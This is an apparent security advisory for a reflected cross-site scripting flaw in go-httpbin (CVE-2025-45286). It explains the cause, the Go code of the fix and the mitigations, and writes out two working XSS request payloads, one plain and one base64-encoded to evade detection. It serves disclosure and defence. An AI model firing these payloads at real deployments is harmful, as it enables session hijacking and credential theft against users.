CVE-2025-45286: Reflected Cross-Site Scripting (XSS) in mccutchen go-httpbin

The framework go-httpbin is a Go-based implementation of the popular HTTP request and response service httpbin. This tool is commonly used by developers and automated testing pipelines to mock backend endpoints, test HTTP clients, and debug custom request structures.

Because the primary design objective of go-httpbin is reflecting user parameters back to the client, it exposes a broad attack surface of dynamic endpoints. Prior to version v2.18.0, the framework did not enforce sanitization or strict typing when echoing these input values.

Specifically, the endpoints /response-headers and /base64 allowed arbitrary parameter manipulation. By injecting raw script payloads alongside a forced text/html media-type, an unauthenticated attacker could trigger a reflected Cross-Site Scripting (XSS) condition.

Although go-httpbin is typically hosted in local development environments or isolated test clusters, exposed instances on corporate networks or public infrastructure create a direct pathway for session hijacking, credential harvesting, or request forgery.

The vulnerability belongs to the class of CWE-80: Improper Neutralization of Script-Related HTML Tags in a Web Page. This occurs because the application processes raw data from upstream requests and copies it into output documents without neutralization.

In the /response-headers endpoint, the application extracts query parameter keys and values using r.URL.Query() and places them directly into response headers. It then serializes these parameters into a JSON body returned to the client.

When an attacker supplies Content-Type=text/html as a query parameter, the application overrides the standard JSON content-type and sets the HTTP response header to text/html. The browser, relying on this MIME-type, treats the subsequent unescaped JSON text as an HTML document.

In the /base64 endpoint, the application decodes raw bytes from a URL-encoded string and serves them directly back to the client. If an attacker passes a content-type=text/html parameter with base64-encoded JavaScript, the application writes the raw HTML/JS content back, prompting immediate browser rendering and script execution.

The vulnerability was remediated in commit 0decfd1a2e88d85ca6bfb8a92421653f647cbc04 by introducing a MIME-type classification and sanitization pipeline.

In httpbin/helpers.go, a map of safe content types is established. This allowlist defines content types that are safe from HTML interpretation:

var safeContentTypes = map[string]bool{
	"text/plain":               true,
	"application/json":         true,
	"application/octet-string": true,
}
 
// isDangerousContentType determines whether the given Content-Type header
// value could be unsafe (e.g. at risk of XSS) when rendered by a web browser.
func isDangerousContentType(ct string) bool {
	mediatype, _, err := mime.ParseMediaType(ct)
	if err != nil {
		return true // Default to dangerous if invalid or unparseable
	}
	return !safeContentTypes[mediatype]
}

The framework also introduces a helper to check if HTML escaping is required, unless explicitly bypassed via a configuration parameter:

// mustEscapeResponse returns true if the response body should be HTML-escaped
// to prevent XSS and similar attacks when rendered by a web browser.
func (h *HTTPBin) mustEscapeResponse(contentType string) bool {
	if h.unsafeAllowDangerousResponses {
		return false // Opt-in backward compatibility bypass
	}
	return isDangerousContentType(contentType)
}

In httpbin/handlers.go, both /response-headers and /base64 integrate this verification step. For the /response-headers handler, query parameters are recursively escaped using Go's html.EscapeString before writing them to the response buffer:

	if h.mustEscapeResponse(contentType) {
		tmp := make(url.Values, len(args))
		for k, vs := range args {
			for _, v := range vs {
				tmp.Add(html.EscapeString(k), html.EscapeString(v))
			}
		}
		args = tmp
	}

This mitigates the flaw by ensuring that any browser rendering the payload as HTML sees only escaped string literals instead of executable nodes.

An attacker can exploit this vulnerability using two distinct endpoints, depending on how they wish to transport and represent the payload.

Attack Vector A: The /response-headers Endpoint

The attacker crafts a URL targeting /response-headers and overrides the content-type while packing the payload inside an arbitrary variable:

GET /response-headers?Content-Type=text%2Fhtml&xss=%3Cimg%20src%3Dx%20onerror%3Dalert(document.domain)%3E HTTP/1.1
Host: target.local

The server processes the request and returns a raw HTML document containing the unescaped <img> tag within the JSON serialization:

HTTP/1.1 200 OK
Content-Type: text/html
Connection: close
 
{"Content-Type":["text/html"],"xss":["<img src=x onerror=alert(document.domain)>"]}

Attack Vector B: The /base64 Endpoint

To avoid signature-based detection mechanisms in transit, the attacker can leverage base64 representation. First, the payload is encoded:

PGltZy9zcmMvb25lcnJvcj1hbGVydCgnYmFzZTY0eHNzJyktPg== (which decodes to <img/src/onerror=alert('base64xss')>).

The target is called with an explicit content-type flag:

GET /base64/PGltZy9zcmMvb25lcnJvcj1hbGVydCgnYmFzZTY0eHNzJyktPg==?content-type=text/html HTTP/1.1
Host: target.local

The application decodes the string and flushes it to the client under the text/html directive. The browser parses the decoded string directly as an HTML fragment and executes the DOM-event script injection.

The security severity is rated as Medium with a CVSS v3.1 base score of 6.1 (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N).

The primary consequence of a successful exploitation is execution of unauthorized code inside the victim's session context. Attackers can leverage this access to perform DOM modifications, manipulate interface elements, capture user keystrokes, and extract storage data.

Because go-httpbin may be deployed inside testing clusters, it often shares domains or subdomains with internal development platforms. A script running on a trusted domain can compromise cross-domain boundaries, allowing the attacker to read session keys or target local APIs.

While the EPSS score of 0.00006 indicates low current volumes of mass exploitation in the wild, the technical ease of execution makes it a high-utility target for directed phishing or internal lateral movement campaigns.

The definitive mitigation for CVE-2025-45286 is upgrading to version v2.18.0 or later of the go-httpbin library.

If upgrading is not immediately possible, security teams can implement several environmental controls to prevent execution:

1. Ensure MIME-Sniffing Prevention: Configure upstream reverse proxies (like Nginx, HAProxy, or Cloudflare) to force the X-Content-Type-Options: nosniff header across all responses.
2. Parameter Filtering: Block or drop incoming GET requests containing Content-Type=text/html or similar markup-based media-type parameters.
3. Isolate Sandbox Environments: Ensure that testing components like go-httpbin are hosted on dedicated, isolated domains (e.g., httpbin.local) rather than primary development domains to minimize the impact of domain-scoped storage exposure.

Deploying automated detection templates such as Nuclei can verify the susceptibility of internal services across corporate address spaces.